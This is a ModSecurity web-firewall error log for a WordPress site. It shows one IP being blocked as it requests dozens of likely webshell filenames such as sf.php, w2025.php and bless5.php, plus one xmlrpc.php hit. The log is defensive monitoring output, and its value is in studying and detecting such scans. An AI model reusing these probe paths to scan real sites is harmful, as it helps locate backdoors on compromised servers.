[Sun Mar 22 18:54:11.165573 2026] [:error] [pid 51362:tid 51404] [client 68.221.64.113:20124] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/settings.php"] [unique_id "ab_KU8OwPm3DXzTDjUeYhgAAAEM"]
[Sun Mar 22 18:54:11.907798 2026] [:error] [pid 51362:tid 51402] [client 68.221.64.113:21752] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/settings.php"] [unique_id "ab_KU8OwPm3DXzTDjUeYiQAAAEI"]
[Sun Mar 22 18:54:12.857726 2026] [:error] [pid 51468:tid 51479] [client 68.221.64.113:21702] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/settings.php"] [unique_id "ab_KVE2TppSvA8W5CBQ8EgAAAMM"]
[Sun Mar 22 18:54:13.856173 2026] [:error] [pid 51363:tid 51437] [client 68.221.64.113:38851] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "ab_KVVwa9x6OCTRkhl1_fAAAAIg"]
[Sun Mar 22 18:54:15.303724 2026] [:error] [pid 51363:tid 51442] [client 68.221.64.113:17472] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "ab_KV1wa9x6OCTRkhl1_gAAAAI0"]
[Sun Mar 22 18:54:16.513788 2026] [:error] [pid 40039:tid 40058] [client 68.221.64.113:4756] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "ab_KWB3aDgUJfBYishmgzQAAARE"]
[Sun Mar 22 18:54:17.512808 2026] [:error] [pid 51363:tid 51450] [client 68.221.64.113:20142] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "ab_KWVwa9x6OCTRkhl1_hgAAAJQ"]
[Sun Mar 22 18:54:18.443845 2026] [:error] [pid 40039:tid 40052] [client 68.221.64.113:21729] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eee.php"] [unique_id "ab_KWh3aDgUJfBYishmgzgAAAQs"]
[Sun Mar 22 18:54:19.509582 2026] [:error] [pid 40039:tid 40050] [client 68.221.64.113:38241] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eee.php"] [unique_id "ab_KWx3aDgUJfBYishmg0QAAAQk"]
[Sun Mar 22 18:54:20.755028 2026] [:error] [pid 51361:tid 51397] [client 68.221.64.113:38879] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eee.php"] [unique_id "ab_KXBXYUsdvKC9YWpXRlwAAABg"]
[Sun Mar 22 18:54:21.610079 2026] [:error] [pid 51361:tid 51377] [client 68.221.64.113:33042] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eee.php"] [unique_id "ab_KXRXYUsdvKC9YWpXRmQAAAAY"]
[Sun Mar 22 18:54:22.599633 2026] [:error] [pid 30166:tid 30176] [client 68.221.64.113:38875] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "ab_KXrm4_26jKMD0zy3KjQAAAUU"]
[Sun Mar 22 18:54:23.377974 2026] [:error] [pid 51468:tid 51487] [client 68.221.64.113:21728] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "ab_KX02TppSvA8W5CBQ8IgAAAMs"]
[Sun Mar 22 18:54:24.139772 2026] [:error] [pid 30166:tid 30198] [client 68.221.64.113:51403] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "ab_KYLm4_26jKMD0zy3KkAAAAVU"]
[Sun Mar 22 18:54:24.893726 2026] [:error] [pid 40039:tid 40046] [client 68.221.64.113:21263] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "ab_KYB3aDgUJfBYishmg2QAAAQU"]
[Sun Mar 22 18:54:25.533681 2026] [:error] [pid 51361:tid 51372] [client 68.221.64.113:16754] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "ab_KYRXYUsdvKC9YWpXRnAAAAAE"]
[Sun Mar 22 18:54:26.390536 2026] [:error] [pid 51363:tid 51443] [client 68.221.64.113:46161] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "ab_KYlwa9x6OCTRkhl1_iwAAAI4"]
[Sun Mar 22 18:54:27.092035 2026] [:error] [pid 51363:tid 51440] [client 68.221.64.113:29761] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "ab_KY1wa9x6OCTRkhl1_jwAAAIs"]
[Sun Mar 22 18:54:27.653472 2026] [:error] [pid 51363:tid 51451] [client 68.221.64.113:33072] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "ab_KY1wa9x6OCTRkhl1_kQAAAJU"]
[Sun Mar 22 18:54:28.491679 2026] [:error] [pid 51361:tid 51389] [client 68.221.64.113:38866] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/swallowable.php"] [unique_id "ab_KZBXYUsdvKC9YWpXRoAAAABE"]
[Sun Mar 22 18:54:29.140229 2026] [:error] [pid 30166:tid 30176] [client 68.221.64.113:22943] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/swallowable.php"] [unique_id "ab_KZbm4_26jKMD0zy3KlQAAAUU"]
[Sun Mar 22 18:54:29.757129 2026] [:error] [pid 51363:tid 51433] [client 68.221.64.113:11152] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/swallowable.php"] [unique_id "ab_KZVwa9x6OCTRkhl1_lgAAAIU"]
[Sun Mar 22 18:54:30.319728 2026] [:error] [pid 51363:tid 51429] [client 68.221.64.113:21733] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/swallowable.php"] [unique_id "ab_KZlwa9x6OCTRkhl1_mQAAAIE"]
[Sun Mar 22 18:54:30.832275 2026] [:error] [pid 51363:tid 51448] [client 68.221.64.113:17819] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "ab_KZlwa9x6OCTRkhl1_mgAAAJI"]
[Sun Mar 22 18:54:31.544465 2026] [:error] [pid 51361:tid 51381] [client 68.221.64.113:21697] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "ab_KZxXYUsdvKC9YWpXRogAAAAo"]
[Sun Mar 22 18:54:32.357457 2026] [:error] [pid 51362:tid 51412] [client 68.221.64.113:36970] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "ab_KaMOwPm3DXzTDjUeYkgAAAEs"]
[Sun Mar 22 18:54:32.991218 2026] [:error] [pid 51361:tid 51375] [client 68.221.64.113:4785] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "ab_KaBXYUsdvKC9YWpXRowAAAAQ"]
[Sun Mar 22 18:54:33.628376 2026] [:error] [pid 51363:tid 51452] [client 68.221.64.113:21309] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "ab_KaVwa9x6OCTRkhl1_owAAAJY"]
[Sun Mar 22 18:54:34.383649 2026] [:error] [pid 40039:tid 40056] [client 68.221.64.113:8839] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "ab_Kah3aDgUJfBYishmg3AAAAQ8"]
[Sun Mar 22 18:54:35.068541 2026] [:error] [pid 51363:tid 51428] [client 68.221.64.113:21260] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "ab_Ka1wa9x6OCTRkhl1_pQAAAIA"]
[Sun Mar 22 18:54:35.657762 2026] [:error] [pid 51361:tid 51387] [client 68.221.64.113:17806] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "ab_KaxXYUsdvKC9YWpXRpgAAAA8"]
[Sun Mar 22 18:54:36.588636 2026] [:error] [pid 51362:tid 51421] [client 68.221.64.113:38263] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sty.php"] [unique_id "ab_KbMOwPm3DXzTDjUeYlgAAAFQ"]
[Sun Mar 22 18:54:37.129767 2026] [:error] [pid 51361:tid 51393] [client 68.221.64.113:22930] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sty.php"] [unique_id "ab_KbRXYUsdvKC9YWpXRqAAAABU"]
[Sun Mar 22 18:54:37.875988 2026] [:error] [pid 40039:tid 40050] [client 68.221.64.113:8893] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sty.php"] [unique_id "ab_KbR3aDgUJfBYishmg3gAAAQk"]
[Sun Mar 22 18:54:38.883230 2026] [:error] [pid 51362:tid 51413] [client 68.221.64.113:21274] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sty.php"] [unique_id "ab_KbsOwPm3DXzTDjUeYnwAAAEw"]
[Sun Mar 22 18:54:39.642478 2026] [:error] [pid 40039:tid 40053] [client 68.221.64.113:38234] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/path.php"] [unique_id "ab_Kbx3aDgUJfBYishmg3wAAAQw"]
[Sun Mar 22 18:54:40.608471 2026] [:error] [pid 51363:tid 51444] [client 68.221.64.113:11147] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/path.php"] [unique_id "ab_KcFwa9x6OCTRkhl1_rAAAAI8"]
[Sun Mar 22 18:54:41.491811 2026] [:error] [pid 30166:tid 30182] [client 68.221.64.113:29780] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/path.php"] [unique_id "ab_Kcbm4_26jKMD0zy3KoAAAAUc"]
[Sun Mar 22 18:54:42.400535 2026] [:error] [pid 40039:tid 40049] [client 68.221.64.113:21700] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/path.php"] [unique_id "ab_Kch3aDgUJfBYishmg4gAAAQg"]
[Sun Mar 22 18:54:43.261467 2026] [:error] [pid 30166:tid 30183] [client 68.221.64.113:4754] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "ab_Kc7m4_26jKMD0zy3KowAAAUg"]
[Sun Mar 22 18:54:43.885174 2026] [:error] [pid 30166:tid 30185] [client 68.221.64.113:36964] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "ab_Kc7m4_26jKMD0zy3KpAAAAUo"]
[Sun Mar 22 18:54:44.744214 2026] [:error] [pid 51363:tid 51432] [client 68.221.64.113:21696] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "ab_KdFwa9x6OCTRkhl1_sQAAAIQ"]
[Sun Mar 22 18:54:46.327591 2026] [:error] [pid 30166:tid 30187] [client 68.221.64.113:19361] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "ab_Kdrm4_26jKMD0zy3KpQAAAUw"]
[Sun Mar 22 18:54:46.966288 2026] [:error] [pid 30166:tid 30177] [client 68.221.64.113:51434] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ab_Kdrm4_26jKMD0zy3KpwAAAUY"]
[Sun Mar 22 18:54:47.655292 2026] [:error] [pid 51363:tid 51439] [client 68.221.64.113:8905] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ab_Kd1wa9x6OCTRkhl1_uQAAAIo"]
[Sun Mar 22 18:54:48.596128 2026] [:error] [pid 40039:tid 40045] [client 68.221.64.113:38267] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ab_KeB3aDgUJfBYishmg5QAAAQQ"]
[Sun Mar 22 18:54:49.340016 2026] [:error] [pid 51362:tid 51413] [client 68.221.64.113:19347] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ab_KecOwPm3DXzTDjUeYqgAAAEw"]
[Sun Mar 22 18:54:55.843620 2026] [:error] [pid 51363:tid 51430] [client 68.221.64.113:51447] [client 68.221.64.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.221.64.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab_Kf1wa9x6OCTRkhl1_zQAAAII"]
[Sun Mar 22 18:55:09.527307 2026] [:error] [pid 51363:tid 51433] [client 68.221.64.113:51447] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "ab_KjVwa9x6OCTRkhl1_7QAAAIU"]
[Sun Mar 22 18:55:14.244710 2026] [:error] [pid 30166:tid 30193] [client 68.221.64.113:34281] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "ab_Kkrm4_26jKMD0zy3K2AAAAVI"]
[Sun Mar 22 18:55:14.779121 2026] [:error] [pid 30166:tid 30198] [client 68.221.64.113:17526] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "ab_Kkrm4_26jKMD0zy3K2wAAAVU"]
[Sun Mar 22 18:55:57.682336 2026] [:error] [pid 51363:tid 51433] [client 68.221.64.113:61037] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file59.php"] [unique_id "ab_KvVwa9x6OCTRkhl2AZwAAAIU"]
[Sun Mar 22 18:55:59.038003 2026] [:error] [pid 51363:tid 51441] [client 68.221.64.113:60468] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file59.php"] [unique_id "ab_Kv1wa9x6OCTRkhl2AbwAAAIw"]
[Sun Mar 22 18:56:00.358600 2026] [:error] [pid 40039:tid 40061] [client 68.221.64.113:61035] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file59.php"] [unique_id "ab_KwB3aDgUJfBYishmhDgAAARQ"]
[Sun Mar 22 18:56:01.717560 2026] [:error] [pid 51363:tid 51428] [client 68.221.64.113:36964] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file59.php"] [unique_id "ab_KwVwa9x6OCTRkhl2AewAAAIA"]
[Sun Mar 22 18:56:02.673711 2026] [:error] [pid 51362:tid 51419] [client 68.221.64.113:44738] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless5.php"] [unique_id "ab_KwsOwPm3DXzTDjUeZGQAAAFI"]
